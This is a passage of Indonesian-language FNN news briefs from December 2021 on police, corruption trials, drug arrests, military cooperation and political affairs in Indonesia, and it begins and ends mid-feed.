National Central Bureau (NCB) Divisi Hubungan Internasional (Hubiter) Polri Brigjen Pol Amur Chandra menjelaskan, penandatanganan perpanjangan "arragement" dengan Selandia Baru hari ini memperkuat "arragement" yang sudah ada sebelumnya. Kerja sama sebelumnya, kata Amur, Polri mengirimkan sejumlah perwira ke Selandia Baru dalam rangka kegiatan "double degree" S2 dan S3. Kemudian, kerja sama dalam kegiatan penanggulangan transnasional crime, bantuan nasional kepolisian. "Sewaktu kejadian teroris di Selandia Baru, Polri pun memberikan bantuan saran-saran dan informasi terhadap kejadian tersebut, sehingga bisa diketahui jaringan para pelaku teroris dengan data yang dimiliki Polri," kata Amur. Terkait kerja sama baru dengan Serbia, Amur menjelaskan, penandatanganan kerja sama dilakukan secara virtual antara Polri dengan Kementerian Dalam Negeri Serbia yang membidangi kepolisian. "Penandatanganan dilakukan juga secara virtual hari ini ditandatangani oleh Kapolri kemudian berkas administrasi penandatangan itu akan dikirim ke Serbia untuk ditandatangani oleh pihak Serbia," ujar Amur. Selanjutnya, penandatangan perpanjangan kerja sama dengan Brunai Darussalam yang secara otomatis berlangsung lima tahun dan juga sudah diperpanjang secara nota diplomatik kepada Polri. "Jadi ada tiga kerja sama internasional yang dijajaki Polri akhir tahun ini. Diharapkan akan lebih memperkuat kerja sama Polri dengan dunia internasional dengan kepolisian internasional dan dapat lebih memperkokoh keberadaan Indonesia di kancah pergaulan internasional," tutur Amur. (sws)

Polda Maluku Sudah Pecat 33 Polisi Selama 2021

Ambon, FNN - Polda Maluku selama tahun 2021 sudah memecat 33 orang anggotanya karena terbukti melakukan pelanggaran, diantaranya disersi dan terlibat narkoba. Kepala Bidang Humas Polda Maluku Kombes Pol M. Roem Ohoirat, di Ambon, Senin, mengatakan jumlah polisi yang diberhentikan secara tidak hormat di jajaran Polda Maluku cenderung meningkat pada tahun ini. "Kami sudah pecat 33 anggota polisi, ini kasus yang tertinggi bilang dibandingkan dengan tahun 2020 yang hanya 28 orang," kata Roem. Ia mengatakan pada hari Senin ini ada empat orang polisi yang dipecat karena pelanggaran disersi dan narkotika. "Kita kembali melakukan pemberhentian dengan tidak hormat kepada 4 anggota polisi yang bertugas di Polda Maluku," katanya. Ia menjelaskan pemberhentian empat polisi tersebut berdasarkan surat keputusan Kapolda Maluku Nomor 339/11/2021 tentang pemberhentian anggota Polri. Keempat anggota polisi tersebut, yakni Brigadir RT terlibat kasus disersi, begitu juga Briptu MAT. Sedangkan dua lainnya, yakni Bripka IA dan Aipda SAM terlibat pidana Narkotika. Roem menerangkan pemecatan yang dilakukan ini bukan sebuah penghargaan melainkan sebuah penyesalan. Namun, hal tersebut harus tetap dilakukan sebagai bentuk penghargaan kepada anggota polisi lainnya yang bekerja dengan baik. "Untuk anggota polisi yang bekerja dengan baik kita tetap berikan penghargaan," demikian Roem. (sws)

Gerindra Jateng Laporkan Anggota DPRD Blora ke Polisi

Semarang, FNN - DPD Partai Gerindra Jawa Tengah melaporkan Anggota DPRD Kabupaten Blora Setiyadji Setyawidjaja ke Polda Jawa Tengah atas dugaan pelanggaran Undang-Undang Kekarantinaan Kesehatan. Sekretaris DPD Partai Gerindra Jawa Tengah Sriyanto Saputro usai melapor ke Sentra Pelayanan Kepolisian Terpadu Polda Jawa Tengah di Semarang, Senin, mengatakan Setiyadji merupakan mantan Ketua Partai Gerindra Kabupaten Blora yang sebenarnya sudah diberhentikan dari keanggotaan partai maupun sebagai legislator Menurut dia, dasar pelaporan tersebut bermula dari pemanggilan Setiyadji ke mahkamah kehormatan partai berkaitan dengan dugaan pelanggaran indispliner yang bersangkutan. "Saat dipanggil pada 25 Juni 2021, yang bersangkutan ternyata tidak bisa hadir dengan alasan harus menjalani isolasi mandiri karena positif COVID-19," katanya. Setelah ditelusuri, kata dia, ternyata pada periode antara 14 hingga 23 Juni 2021 yang bersangkutan mengikuti kunjungan kerja ke dua daerah di Jawa Timur. Hasil tes PCR terhadap Setiyadji pada 18 Juni 2021 di salah satu rumah sakit, lanjut dia, menyatakan jika yang bersangkutan positif COVID-19. "Sebagai pejabat publik seharusnya memberikan contoh yang baik dan tidak membahayakan orang lain," katanya. Menurut dia, pelaporan ke polisi ini merupakan bentuk dukungan Gerindra kepada pemerintah dalam upaya penegakan protokol kesehatan di tengah pandemi. Adapun Setiyadji Setyawidjaja sendiri saat ini sedang menggugat Ketua Umum Partai Gerindra Prabowo Subianto karena dipecat dari posisi Ketua DPC Partai Gerindra Kabupaten Blora. Terpisah, Kabis Humas Polda Jawa Tengah Kombes Pol.Iqbal Alqudusy membenarkan SPKT telah menerima laporan dugaan pelanggaran Undang-undang Nomor 6 tahun 2018 tentang Kekarantinaan Kesehatan itu. "Prinsipnya, Polri siap melayani dan menerima pengaduan dari masyarakat," katanya. (sws)

KPK Tidak Ajukan Banding Atas Vonis Nurdin Abdullah

Jakarta, FNN - KPK menyatakan tidak mengajukan banding atas putusan Gubernur Sulawesi Selatan non-aktif Nurdin Abdullah penjara 5 tahun ditambah denda Rp500 juta oleh majelis hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Makassar. "Setelah kami pelajari seluruh pertimbangan majelis hakim ternyata, analisa hukum tim Jaksa KPK dalam surat tuntutannya telah diambil alih oleh majelis hakim sehingga KPK memutuskan tidak mengajukan upaya hukum atas putusan terdakwa Nurdin Abdullah dan Edy Rahmat," kata Plt Juru Bicara KPK Ali Fikri di Jakarta, Senin. Dalam sidang 29 November 2021, majelis hakim Pengadilan Tipikor Makassar memvonis 5 tahun penjara ditambah denda Rp500 juta subsider 4 bulan kurungan karena terbukti menerima suap dan gratifikasi senilai 350 ribu dolar Singapura dan Rp8,087 miliar. Sedangkan eks Kasi Bina Marga Dinas PUTR Edy Rahmat telah divonis 4 tahun penjara ditambah denga Rp200 juta subsider 2 bulan kurungan karena terbukti menjadi perantara penerima suap dari Agung Sucipto untuk Nurdin Abdullah. "Informasi yang kami terima, kedua terdakwa dimaksud telah menerima putusan tersebut," tambah Ali. Artinya, perkara atas nama Nurdin Abdullah dan Edy Rahmat saat ini telah berkekuatan hukum tetap. "Berikutnya KPK akan melaksanakan putusan pengadilan Tindak Pidana Korupsi dimaksud sementara perkembangan pelaksanaan putusan akan kami informasikan lebih lanjut," ungkap Ali. Selain hukuman badan, majelis hakim juga mewajibkan Nurdin untuk membayar uang pengganti sebesar Rp2,187 miliar dan 350 ribu dolar Singapura subsider 3 tahun penjara. Majelis hakim juga menetapkan pencabutan hak Nurdin Abdullah untuk dipilih dalam jabatan publik selama 3 tahun sejak selesai menjalani hukuman pidana. Dalam perkara ini, Nurdin Abdullah dinilai terbukti melakukan dua dakwaan. Dalam dakwaan pertama, Nurdin Abdullah terbukti menerima suap dari Agung Sucipto selaku pemilik PT Agung Perdana Bulukumba dan PT Cahaya Sepang Bulukumba senilai Rp2,5 miliar dan 150 ribu dolar Singapura. Dalam dakwaan kedua, Nurdin Abdullah dinilai terbukti menerima gratifikasi sebesar Rp5,587 miliar dan 200 ribu dolar Singapura terkait dengan jabatannya sebagai Gubernur Sulawesi Selatan periode 2018-2023. (sws)

Pengungkapan Kasus Narkoba di Sumsel Meningkat Pada Akhir 2021

Palembang, FNN - Kepolisian Daerah Sumatera Selatan bersama jajaran selama pekan pertama Desember 2021 ini mengungkap 46 kasus serta mengamankan 65 tersangka pemakai dan pengedar narkoba. Pengungkapan kasus narkoba pada akhir tahun ini meningkat dibandingkan dua bulan sebelumnya, kata Kabid Humas Polda Sumsel Kombes Pol Supriadi di Palembang, Senin. Dia menjelaskan berdasarkan data pengungkapan kasus narkoba pada pekan terakhir Oktober 2021 tercatat 35 kasus penyalahgunaan dan peredaran gelap narkoba dengan 42 tersangka, sedangkan pada pekan terakhir November 2021 diungkap 45 kasus. Dari pengungkapan kasus pada Desember 2021 ini, diamankan barang bukti berupa narkoba jenis sabu 5,5 kilogram dan pil ekstasi 282 butir. Pengungkapan kasus dan pencegahan beredarnya narkoba tersebut bisa menyelamatkan ribuan anak bangsa dari jeratan barang terlarang itu, katanya Menurut dia, melihat terjadinya peningkatan kasus narkoba, jajaran Polda Sumsel berupaya lebih gencar lagi melakukan operasi pemberantasan penyalahgunaan dan peredaran gelap narkoba serta penegakan hukum secara maksimal. "Siapa pun yang terbukti menyimpan, memiliki, dan mengedarkan narkoba akan diproses sesuai dengan ketentuan hukum," ujar Kombes Pol.Supriadi. (sws)

Penyidik Kirim Berkas Tersangka Penggelapan Anggaran STKIP ke Jaksa

Mataram, FNN - Penyidik Direktorat Resere Kriminal Umum Kepolisian Daerah Nusa Tenggara Barat mengirim berkas penyidikan milik lima tersangka kasus dugaan penggelapan anggaran pada Sekolah Tinggi Keguruan dan Ilmu Pendidikan (STKIP) Bima ke jaksa peneliti. Direktur Reserse Kriminal Umum Polda NTB Komisaris Besar Polisi Hari Brata di Mataram, Senin, menjelaskan penyidik mengirim berkas penyidikannya ke jaksa dengan kelengkapan petunjuk sebelumnya. "Berkas dikirim kembali dengan kelengkapan petunjuk jaksa," kata Hari. Untuk lengkapnya, Hari enggan sampaikan, namun dipastikan bahwa petunjuk tersebut masih berkaitan dengan syarat materiil dan formil perkara. "Pada intinya petunjuk itu tidak terlalu sulit," ujarnya. Dalam pemenuhan petunjuk, para tersangka juga diperiksa. Agenda tersebut dijelaskan Hari, untuk penambahan dalam kelengkapan berkas. "Semua tersangka kami periksa lagi, jadi tambahan," ucap dia. Lima tersangka dalam kasus ini berinisial HA, Ketua STKIP Bima periode 2016-2020; MF, Ketua Yayasan IKIP Bima periode 2019-2020; HM, kepala bagian administrasi umum periode 2016-2019; AA, kepala bagian administrasi umun periode 2019-2020; dan AZ, wakil ketua I bidang akademik periode 2016-2019. Kasusnya ditangani penyidik berdasarkan adanya laporan polisi nomor LP/360/XI/2020/NTB/SPKT, tertanggal 20 November 2020. Laporan tersebut berkaitan dengan adanya dugaan penggelapan anggaran STKIP Bima periode 2016-2020. Kelimanya terindikasi menggelapkan anggaran perguruan tinggi swasta itu dengan mengajukan permohonan rencana program yang tidak ada kaitannya dengan kegiatan perkuliahan. Mereka diduga kuat menggunakan anggaran itu untuk keperluan pribadi. Dari hasil audit internal STKIP Bima, ada ditemukan kerugian yang nilainya mencapai Rp12,8 miliar. Itu berdasarkan hasil pemeriksaan berkas laporan pertanggungjawaban program tersebut. Temuan berbeda dari hasil penghitungan penyidik dengan nilai kerugian mencapai Rp19,3 miliar lebih. Dalam kasus ini pun status penahanan kelimanya telah ditangguhkan. Meskipun tidak lagi menjalani penahanan di Rutan Polda NTB, namun Hari Brata memastikan para tersangka tetap bersikap kooperatif. Sebagai tersangka, penyidik menerapkan sangkaan pidana Pasal 374 KUHP Juncto Pasal 55 Ayat 1 Ke-1 KUHP. (sws)

Jaksa Tak Masukkan Permohonan "Justice Collaborator" Stepanus Robin

Jakarta, FNN - Jaksa Penuntut Umum (JPU) KPK tidak mencantumkan permohonan saksi pelaku yang bekerja sama dengan penegak hukum (justice collaborator) dalam surat tuntutan mantan penyidik KPK Stepanus Robin Pattuju. "JC tersebut putusannya belum final dari kami karena sedang dalam proses pertimbangan," kata JPU KPK Lie Putra Setiawan di pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Senin. Sebelumnya dalam sidang 22 November 2021, terdakwa Stepanus Robin mengajukan permohonan JC kepada pimpinan KPK karena menyebut sudah membuka peran pihak lain dalam perkara tersebut, yaitu seorang advokat bernama Arief Aceh. "Bukan kami harus menyebutkan bahwa di dalam surat tuntutan yang bersangkutan JC atau tidak tapi, kalau yang bersangkutan pada waktu pembacaan tuntutan itu KPK sudah menerbitkan surat ketetapan, surat keputusan yang bersangkutan selaku JC kami dapat saja langsung menyatakan seperti itu," tambah Lie. Menurut Lie, Robin juga baru bersidang untuk dirinya sendiri, padahal ada sejumlah perkara yang terkait dengan dirinya. "Kan sampai saat ini JC memang sering kali diberikan ketika yang bersangkutan masih dalam proses persidangan tapi kan ada surat keterangan kerja sama yang dapat disahkan kemudian jadi, tahapan itu berlaku dari tahapan penyidikan, penuntutan, lalu hakim boleh memberikan, masih ada proses yang bisa digunakan," ungkap jaksa Lie. Terkait tidak disebutkannya permohonan JC dalam pertimbangan surat tuntutan, Robin menyebut ia masih ingin membuka peran Arief Aceh. "Sudah sangat jelas saya sampaikan bahwa saya sangat ingin membuka peran pengacara Arief Aceh itu, karena yang bersangkutan memang bermain di KPK, bisa tanya pengacara-pengacara senior lah, yang bersangkutan sudah mulai bermain, kapan mulai bermain? ya pada saat Bu Lili masuk di KPK," kata Robin seusai menjalani sidang pembacaan tuntutan. Robin pun mengklaim sudah membuka peran pimpinan KPK Lili Pintauli Siregar di persidangan. "(Peran Lili) sudah saya jelaskan ke penyidik ke persidangan juga sudah, ya bukti-buktinya ada sudah dikumpulkan tim pengacara saya," tambah Robin. Robin juga mengaku keberatan karena JPU KPK tidak menghadirkan Arief Aceh sebagai saksi di persidangan. "Yang menjadi keberatan saya adalah yang namanya Arief Aceh itu diperiksa saja tidak pernah, kalau Bu Lili itu cuma diperiksa di dewan pengawa, hukumannya apa? cuma potong gaji potong gaji, gaji pokok yang dipotong, cuma Rp1,8 juta, berapa dia terima penghasilan? Puluhan juta," tambah Robin. Dalam perraka ini Stepanus Robin Pattuju dituntut 12 tahun penjara ditambah denda Rp500 juta subsider 6 bulan kurungan. Ia juga diwajibkan untuk membayar uang pengganti sebesar Rp2.322.577.000 subsidder 2 tahun penjara. Sedangkan rekannya, advokat Maskur Husain dituntut 10 tahun penjara ditambah denda Rp500 juta subsider 6 bulan kurungan serta kewajiban membayar uang pengganti sebesar Rp8.702.500.000 dan 36 ribu dolar AS. Dalam perkara ini, Robin dan Maskur didakwa terbukti menerima suap senilai Rp11,025 miliar dan 36 ribu dolar AS (sekitar Rp513 juta) sehingga totalnya sebesar Rp11,5 miliar terkait pengurusan lima perkara di KPK. Robin dan Maskur menerima suap dari M Syahrial sejumlah Rp1,695 miliar, Azis Syamsudin dan Aliza Gunado sejumlah Rp3.099.887.000 dan 36 ribu dolar AS, Ajay Muhammad Priatna sejumlah Rp507,39 juta, Usman Effendi sejumlah Rp525 juta dan Rita Widyasari sejumlah RpRp5.197.800.000. M. Syahrial adalah Wali Kota Tanjungbalai nonaktif; Azis Syamsudin adalah Wakil Ketua DPR dari fraksi Partai Golkar; Aliza Gunado adalah kader Golkar yang pernah menjabat sebagai mantan Wakil Ketua Umum PP Angkatan Muda Partai Golkar (AMPG); Ajay Muhammad Priatna adalah Wali Kota Cimahi non-aktif; Usman Effendi adalah Direktur PT. Tenjo Jaya yang juga narapidna kasus korupsi hak penggunaan lahan di Kecamatan Tenjojaya, Sukabumi, Jawa Barat; dan Rita Wisyasari adalah mantan Bupati Kutai Kartanegara. Atas perbuatannya, Robin dan Maskur dituntut berdasarkan dakwaan pertama dari pasal 12 huruf a jo pasal 18 UU No 31 tahun 1999 sebagaimana diubah dengan UU No 20 tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo padal 55 ayat 1 ke-1 jo pasal 65 ayat 1 KUHP. (sws)

Prof Arif Satria Terpilih Sebagai Ketum ICMI Periode 2021-2026

Bogor, FNN - Prof Arif Satria resmi terpilih sebagai Ketua Umum Ikatan Cendekiawan Muslim Indonesia (ICMI) periode 2021-2026 dalam Muktamar ICMI yang berlangsung di Bandung, Jawa Barat, pada 4-6 Desember 2021. "Saya berterima kasih atas dukungan para peserta Muktamar. Insya Allah amanah yang diberikan akan dilaksanakan dengan sebaik-baiknya," kata Prof Arif dalam keterangan tertulisnya yang diterima Antara di Bogor, Senin. Rektor Institut Pertanian Bogor (IPB) University itu menyebutkan bahwa ICMI akan bertransformasi menjadi organisasi yang lebih responsif terhadap perubahan, serta akan memberikan warna dan pengaruh yang kuat bagi Islam di Indonesia. Prof Arif mengaku akan melaksanakan empat agenda transformasi yang terangkum dalam visinya. Pertama, menjadikan ICMI sumber inspirasi bangsa, mengingat organisasi tersebut berisi para cendekiawan yang memiliki nilai lebih dalam memahami arus perubahan dan menawarkan agenda-agenda solusinya. "Inspirasi adalah proses menggerakkan pikiran dan tindakan orang lain. Oleh karena itu ICMI harus menginspirasi dengan platform besar bagaimana mengkonstruksi peradaban baru yang dipicu tiga disrupsi di atas," tuturnya. Menurutnya, platform besar ICMI di era disrupsi ini harus memuat kerangka ideologis dan teknokratis tentang solusi masa depan. Hal ini bisa menjadi inspirasi bagi pemerintah, dunia usaha, ormas Islam, dan masyarakat luas agar makin optimistik dalam merespon perubahan. "Disinilah peran universalitas ICMI menguat, sehingga kehadiran ICMI sangat dinanti oleh publik karena membawa manfaat universal. Yakni, manfaat yang muncul dari peran ICMI sebagai salah satu poros utama perubahan," kata Prof Arif. Agenda kedua, yaitu menjadikan ICMI sebagai rumah besar umat Islam, karena ICMI tidak meninggalkan perannya dalam membangun kebersamaan umat Islam untuk proses transformasi yang ia maksud. "ICMI beranggotakan para cendekiawan yang berafiliasi pada ormas besar Islam. Dengan demikian ICMI bisa menjadi hub yang berfungsi memperkuat konektivitas antar ormas Islam agar lebih sinergis dan kolaboratif," terangnya. Ia mengatakan bahwa ICMI harus bergandengan dengan ormas-ormas Islam untuk merespon tantangan perubahan, sehingga umat Islam di Indonesia benar-benar menjadi bagian penting dari masa depan bangsa. Dengan demikian menurutnya keseimbangan semangat keislaman dan keindonesiaan ICMI benar-benar terlihat nyata. Agenda ketiga, menurutnya ICMI harus terus mengawal proses transisi demokrasi. Ia menganggap demokrasi di Indonesia saat ini masih berciri demokrasi prosedural, sehingga bukan substansial. "Namun proses ke arah demokratis substansial harus terus berlanjut hingga mencapai titik kematangan kita dalam kehidupan berbangsa dan bernegara. Di tengah dinamika kehidupan berbangsa dan bernegara, ICMI harus menjalankan peran politik moral, bukan politik praktis," papar Prof Arif. Kemudian, dirinya ingin ICMI menjadi bagian dari solusi, serta bukan bagian dari masalah dan konflik. Sehingga, sebagai salah satu komponen masyarakat sipil, ICMI dapat berperan secara etik mengawal terwujudnya kehidupan berbangsa dan bernegara yang sehat secara politik, adil secara sosial, dan makmur secara ekonomi. Agenda keempat, ia ingin menjadikan ICMI memiliki kepeloporan dalam agenda aksi. Pasalnya lahirnya Bank Muamalat tidak terlepas dari peran ICMI di masa lalu. "Ini bukti agenda aksi yang sukses. Dengan berkembangnya situasi seiring tiga disrupsi besar maka bangsa ini perlu terobosan-terobosan baru dalam bentuk agenda aksi baik dalam inovasi teknologi, ekonomi, pangan 4.0, lingkungan, pendidikan, maupun inovasi sosial," ujarnya. (sws)

Kasad Harapkan Kerja Sama Indonesia-Malaysia di Perbatasan Diperluas

Jakarta, FNN - Kepala Staf TNI Angkatan Darat Jenderal TNI Dudung Abdurachman mengharapkan Indonesia dan Malaysia dapat memperluas kerja sama di perbatasan kedua negara. Kasad menyampaikan hal itu saat dia menerima kunjungan kehormatan dari Kasad Malaysia Jenderal Tan Sri Datuk Zamrose Bin Mohd di Jakarta, Senin. Kedatangan Kasad Malaysia ke Mabes TNI AD, Jakarta, merupakan kunjungan pertama dia setelah Jenderal Dudung resmi dilantik sebagai Kepala Staf TNI AD pada bulan lalu. Dalam pertemuan itu, Jenderal Dudung berharap TNI AD dan Angkatan Darat Malaysia dapat memperluas kerja sama yang bukan hanya latihan gabungan. Kegiatan lain, seperti kegiatan sosial di wilayah perbatasan kedua negara, penanggulangan bencana, dan lainnya. Melalui berbagai kegiatan sosial diharapkan baik TNI AD maupun Tentara Malaysia betul-betul semakin dicintai oleh masyarakat di dua negara tersebut, kata Dudung saat menyampaikan isi pertemuan itu sebagaimana dikutip dari siaran tertulis Dinas Penerangan TNI AD. Dudung, dalam sambutannya, menyampaikan militer Indonesia dan Malaysia telah membina hubungan yang erat, karena dua negara itu berada dalam satu kawasan. Tidak hanya itu, Indonesia dan Malaysia juga berbagi wilayah perbatasan darat di Pulau Kalimantan dan perbatasan laut di sepanjang Laut China Selatan, Selat Malaka, dan Laut Sulawesi. Dalam siaran tertulis yang sama, Jenderal Tan Sri Datuk Zamrose menyampaikan ucapan terima kasih atas sambutan hangat dan penuh rasa persaudaraan dari Jenderal Dudung. Ia berharap kerja sama antara dua negara, utamanya pada bidang militer, dapat terus menguat ke depannya. “Hubungan bilateral antara TNI AD dengan Tentara Malaysia sudah terjalin dengan baik sejak 1958, yang mana sampai saat ini kerja sama tersebut telah memainkan peranan amat penting dalam pembentukan rangkaian keselamatan bagi kedua negara,” kata Kasad Malaysia. Jenderal Tan Sri Datuk Zamrose dalam kunjungannya ke Indonesia juga dijadwalkan menemui Panglima TNI Jenderal TNI Andika Perkasa. (sws)

MPR Ingatkan Lima Peran Penting Mahasiswa Dalam Bernegara

Jakarta, FNN - Kepala Bagian Pemberitaan dan Hubungan Antar Lembaga Sekretariat Jenderal MPR, Budi Muliawan, mengingatkan pentingnya lima peran mahasiswa Indonesia dalam kehidupan berbangsa dan bernegara. “Mahasiswa kerap terpanggil hati nuraninya untuk peduli pada masalah-masalah yang ada,” ujar dia, dalam keterangan tertulis yang diterima di Jakarta, Senin. Mengutip pendapat Leila Mona yang termuat dalam jurnal Mengembangkan Tanggung Jawab Sosial Pribadi (Personal Social Responsibility/PSR) dalam Membangun Karakter Mahasiswa, dia menyebut lima peran penting mahasiswa dalam kehidupan berbangsa dan bernegara. Peran pertama adalah mahasiswa sebagai iron stock, yakni mahasiswa dituntut memiliki kepribadian yang baik dan menjadi manusia yang tangguh dengan akhlak mulia untuk menggantikan generasi sebelumnya. Akhlak artinya memiliki kelakuan yang mulia dan mengutamakan orang lain di atas kepentingannya sendiri. Selanjutnya adalah peran mahasiswa sebagai agen perubahan. Peran ini menuntut mahasiswa agar bisa mewujudkan dan memajukan kehidupan berbangsa dan bernegara agar menjadi lebih sejahtera. Agen perubahan pada pernyataan itu memiliki makna bahwa pemuda Indonesia harus membawa perubahan ke arah yang lebih positif atau baik. “Ketiga, mahasiswa sebagai pengawal nilai-nilai. Di sini mahasiswa diajarkan untuk bisa berpikir secara ilmiah dan mencari kebenaran atau fakta,” ucapnya. Selain itu, mahasiswa juga berperan sebagai penjaga nilai di masyarakat untuk mengawasi dan menyuarakan pendapat jika ada penerapan nilai yang tidak sesuai. Nilai di masyarakat tersebut di antaranya kejujuran, menjunjung tinggi keadilan, integritas, gotong-royong, rasa empati dan nilai lainnya. Peran keempat adalah mahasiswa sebagai penegak moral. Peran di sini membuat mahasiswa menjadi acuan dasar untuk berperilaku. Mahasiswa diharapkan bisa mencerminkan nilai karakter yang baik sesuai dengan kemampuan intelektualnya. Nilai karakter ini bisa ditunjukkan lewat moral yang beradab atau perilakunya yang sesuai dengan statusnya sebagai mahasiswa. “Kelima, mahasiswa sebagai kontrol sosial. Mahasiswa diharap bisa menjembatani hubungan masyarakat dengan pemerintah lewat penyampaian aspirasi, kemampuan mengkritik kebijakan pemerintah atau hal lainnya,” ujar dia. Dalam hal ini, mahasiswa juga berupaya untuk mengontrol kehidupan sosial masyarakat. Ketika melihat adanya ketidakberesan dalam masyarakat, mahasiswa harus mampu menyampaikan kritik atau saran kepada pihak yang berwenang. Lima peran itu, menurut Muliawan, perlu ditambah dengan mengimplementasikan Tri Dharma Perguruan Tinggi. Nilai-nilai yang dihidupkan di kampus itu adalah, pendidikan dan pengajaran, penelitian dan pengembangan, serta pengabdian kepada masyarakat. “Nilai-nilai di atas membuat mahasiswa memiliki peran yang sangat strategis dalam pembangunan dan kemajuan bangsa,” ujarnya. (sws)

Kemendagri Ingatkan Pemda Optimalkan Belanja Daerah di Sisa Waktu 2021

Jakarta, FNN - Kementerian Dalam Negeri mengingatkan agar pemerintah daerah dapat mengoptimalkan belanja daerah di waktu yang tersisa pada 2021 ini. "Diharapkan akan ada peningkatan yang optimal terhadap realisasi belanja akhir Desember 2021," kata Pelaksana Harian Direktur Jenderal Bina Keuangan Daerah Kemendagri Agus Fatoni di Jakarta, Senin. Agus menjelaskan realisasi belanja daerah pada 2019 rata-rata nasionalnya ketika sebesar 90,29 persen atau belanja daerah itu sebesar Rp1.170,79 triliun. Kemudian, rata-rata untuk 2020 berjumlah 82,69 persen atau senilai Rp1.021,26 triliun. Sementara, rata-rata realisasi belanja daerah pada 2021 sampai 2 Desember yakni 67,19 persen atau senilai Rp853,67 triliun. "Angka tersebut masih di bawah total belanja rata-rata tahun anggaran 2020 per 30 Desember, karena angka itu adalah data per 2 Desember 2021. Selisih tersebut disebabkan karena perhitungan realisasi 2021 datanya per 2 Desember, sementara 2020 datanya 30 Desember 2020," tuturnya. Agus Fatoni juga menjelaskan daerah dengan realisasi belanja yang berada di atas rata-rata nasional hingga 2 Desember yakni, untuk provinsi yang realisasinya di atas rata-rata provinsi yakni Jawa Barat, Gorontalo, Kalimantan Selatan. Kemudian Provinsi Lampung, Jawa Tengah, Kepulauan Riau, Banten, Sulawesi Selatan, Sulawesi Tengah DKI Jakarta, Sumatera Barat, Sumatera Utara, Jawa Timur dan Maluku. Untuk kabupaten dengan realisasi belanja dicatat di atas rata-rata belanja kabupaten yakni, Kabupaten Bogor, Bojonegoro, Bengkalis, Tuban, Kotawaringin Barat, Kutai Timur, Malinau, Jembrana, Lamandau. Berikutnya, Kabupaten Kulonprogo, Pati, Kubu Raya, Jombang, Boyolali, Sleman, Kudus, Mimika, Blitar, Tanah Laut, Madiun. Kota dengan belanja daerah di atas rata-rata belanja kota yakni Kota Metro, Ternate, Lhokseumawe, Bima, Sukabumi, Tanjung Pinang, Banda Aceh, Tidore Kepulauan, Mataram. Kemudian, Kota Payakumbuh, Batam, Kotamobagu, Palangkaraya, Denpasar, Pangkal Pinang, Semarang, Langsa, Pandang Panjang, Jayapura, Banjar Baru. (sws)

MPR: Melawan Berita Bohong Merupakan Bentuk Nasionalisme

Jakarta, FNN - Kepala Bagian Pemberitaan dan Hubungan Antar Lembaga Sekretariat Jenderal MPR, Budi Muliawan, mengatakan, melakukan perlawanan terhadap berita bohong dan hoaks merupakan bentuk nasionalisme. “Saat ini, di media sosial, banyak berita bohong atau hoaks meski berita yang sesuai dengan fakta juga melimpah,” kata dia, dalam keterangan tertulis yang diterima di Jakarta, Senin. Berita bohong yang beredar di sosial media, kata dia, dapat menimbulkan benih-benih permusuhan dan perpecahan bangsa. Oleh karena itu, melakukan perlawanan terhadap berita bohong dan hoaks merupakan bentuk nasionalisme yang dapat dilakukan oleh masyarakat pada masa kini. Selain itu, ia juga mengatakan bahwa, bentuk nasionalisme lain yang dapat dilakukan oleh masyarakat masa kini adalah saling menolong orang, peduli sesama, dan melakukan gotong-royong. “Membantu orang lain saat pandemi Covid-19 juga merupakan bentuk nasionalisme,” kata dia. Menurut alumni Program Magister Ilmu Hukum Universitas Indonesia itu, nasionalisme sifatnya tidak monoton. Nasionalisme bisa dipengaruhi oleh banyak faktor, seperti revolusi industri yang terjadi pada tahun 1760-1850 berpengaruh besar terhadap perkembangan paham ini. Revolusi industri menyebabkan terjadi perubahan besar-besaran pada berbagai bidang dengan dampak besar pada perubahan tatanan dunia. Perubahan ini berawal dari Inggris hingga menyebar ke seluruh benua dan negara lainnya. “Membawa perubahan pada berbagai aspek kehidupan manusia, seperti pada bidang sosial, budaya, dan ekonomi,” katanya. Ia berpandangan, yang paling penting dalam paham nasionalisme adalah bagaimana nilai-nilai yang ada tidak hanya diucapkan, namun juga diimplementasikan. Nasionalisme yang diinginkan, tutur ia melanjutkan, adalah nasionalisme yang berdasarkan pada nilai-nilai yang disepakati oleh para pendiri bangsa, serta termuat dalam Pancasila dan UUD NRI Tahun 1945. “Bukan nasionalisme sempit,” katanya. Oleh karena itu, ia mengatakan bahwa bangsa Indonesia harus bersyukur karena memiliki Pancasila, UUD NRI Tahun 1945, NKRI, dan Bhinneka Tunggal Ika. (sws)

Hillary Brigitta Tarik Surat Permohonan Ajudan Pribadi ke TNI AD

Jakarta, FNN - Anggota Komisi I DPR RI Hillary Brigitta Lasut menarik surat permohonan ajudan pribadi dari TNI Angkatan Darat sekaligus meminta maaf atas permintaan tersebut. Penarikan surat permohonan itu dikonfirmasi oleh Kepala Dinas Penerangan TNI AD Brigjen TNI Tatang Subarna di Jakarta, Senin. “Saudari Hillary Brigitta Lasut sudah menarik dan membatalkan surat permohonannya melalui Surat Nomor: 125/S.E/DPR-RI/HBL/XII/2021 pada 3 Desember 2021,” kata Tatang Subarna sebagaimana dikutip dari siaran tertulisnya yang diterima di Jakarta, Senin. Dalam surat penarikan itu, Hillary juga meminta maaf kepada TNI AD . “(Hillary) meminta maaf kepada pihak TNI AD atas ketidaknyamanan ini,” kata Brigjen Tatang. Hillary, salah satu anggota DPR termuda, pada bulan ini membenarkan permintaan ajudan pribadi dari TNI AD ke Kepala Staf TNI AD Jenderal TNI Dudung Abdurachman. Ia beralasan ajudan pribadi itu dibutuhkan untuk menjaga dirinya dari potensi ancaman-ancaman yang mungkin terjadi selama dia bekerja dan melakukan kunjungan ke daerah-daerah. Permohonan Hillary kemudian viral di media sosial dan menuai respon beragam dari para penggunanya. Kepala Staf TNI AD Jenderal TNI Dudung minggu lalu menyampaikan ke publik ia menolak permohonan itu. Tidak hanya itu, Pimpinan Komisi I DPR RI Meutya Hafid pada minggu lalu juga mengatakan permohonan itu tidak melalui tahapan koordinasi dengan para pihak, termasuk di antaranya Komisi I DPR RI. Namun, Hillary kemudian menarik permohonan itu lewat surat yang ditujukan ke Dudung. “Berkaitan dengan surat permohonan kami sebelumnya dengan Nomor Surat 121/S.E/DPR-RI/HBL/XI-2021 perihal permohonan penugasan anggota TNI AD sebagai ajudan pribadi. Bersama dengan surat ini kami menarik kembali surat tersebut dan sekaligus menyatakan pembatalan atas permohonan anggota TNI AD sebagai ajudan pribadi,” kata Hillary dalam suratnya yang dilampirkan oleh Dinas Penerangan TNI AD. (sws)

Banser Siap Amankan Konbes NU

